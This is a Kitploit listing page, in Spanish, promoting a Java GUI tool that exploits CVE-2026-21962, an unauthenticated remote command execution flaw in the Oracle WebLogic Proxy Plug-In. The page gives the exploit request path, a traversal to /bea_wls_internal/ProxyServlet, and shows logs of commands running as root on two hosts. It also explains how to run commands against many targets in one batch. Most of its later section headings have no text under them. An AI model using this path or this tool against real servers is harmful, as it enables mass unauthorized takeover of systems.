CVE-2026-21962_Java_GUI_Exploit_Tool — Herramienta GUI en Java para explotar CVE-2026-21962, una RCE no autenticada en Oracle WebLogic Proxy Plug-In, que permite la ejecución de comandos en múltiples objetivos a través de HTTP. | Kitploit

CVE-2026-21962 Herramienta de Explotación GUI en Java

Versión GUI en Java de la herramienta de explotación de la vulnerabilidad RCE (Ejecución Remota de Código) del Proxy Plug-In de Oracle WebLogic Server.

Estructura del Proyecto

java-version/
├── pom.xml              # Archivo de configuración del proyecto Maven
├── README.md            # Documentación del proyecto
├── run.bat              # Script de inicio para Windows
└── src/
    └── main/
        └── java/
            └── com/
                └── ashwesker/
                    └── cve202621962/
                        ├── Main.java                    # Punto de entrada del programa
                        ├── core/
                        │   └── Exploit.java             # Lógica principal de explotación
                        ├── gui/
                        │   └── MainWindow.java          # Ventana principal de la GUI
                        └── util/
                            └── HttpClient.java          # Herramienta de solicitudes HTTP

Disposición de la Interfaz GUI

[*] Iniciando prueba de vulnerabilidad...
[*] URL objetivo: http://192.168.1.100:7001
[*] Comando a ejecutar: id
[*] Ruta de prueba: http://192.168.1.100:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] ¡Éxito! Código de estado: 200
[+] ¡Comando ejecutado con éxito!
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------
================================================================================
[*] Iniciando prueba de vulnerabilidad...
[*] URL objetivo: http://192.168.1.101:7001
[*] Comando a ejecutar: id
[*] Ruta de prueba: http://192.168.1.101:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] ¡Éxito! Código de estado: 200
[+] ¡Comando ejecutado con éxito!
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------

Ingrese múltiples direcciones objetivo en el campo de texto "URL objetivo", una por línea
```
http://target1:7001
http://target2:7001
https://target3:4443
```
Ingrese el comando a ejecutar en el campo "Comando a ejecutar"
Haga clic en el botón "Ejecutar explotación" para iniciar la prueba por lotes
El programa probará cada objetivo secuencialmente, y las salidas de diferentes objetivos se separan con ================ (80 signos igual)
Consulte el "Registro de ejecución" inferior para conocer el proceso de prueba de cada objetivo
Consulte la "Salida de comandos" inferior para obtener los resultados de ejecución de todos los objetivos

CVE-2026-21962_Java_GUI_Exploit_Tool

Más Populares

Características

Dependencias

Compilación y Ejecución

Compilar con Maven

Empaquetar como JAR

Ejecutar el Programa

Método 1: Usar el script de inicio (recomendado)

Método 2: Ejecutar con Maven

Método 3: Ejecutar el JAR directamente

Método 4: Ejecutar con el comando Java (requiere compilación previa)

Ejemplos de Uso

Ejemplo 1: Prueba de objetivo único

Ejemplo 2: Prueba por lotes de múltiples objetivos

Instrucciones de Uso

Prueba de objetivo único

Prueba por lotes de múltiples objetivos

Otras operaciones

Detalles de la Vulnerabilidad

Rutas de Prueba

Advertencias

Implementación Técnica

Descripción de Componentes Principales

Licencia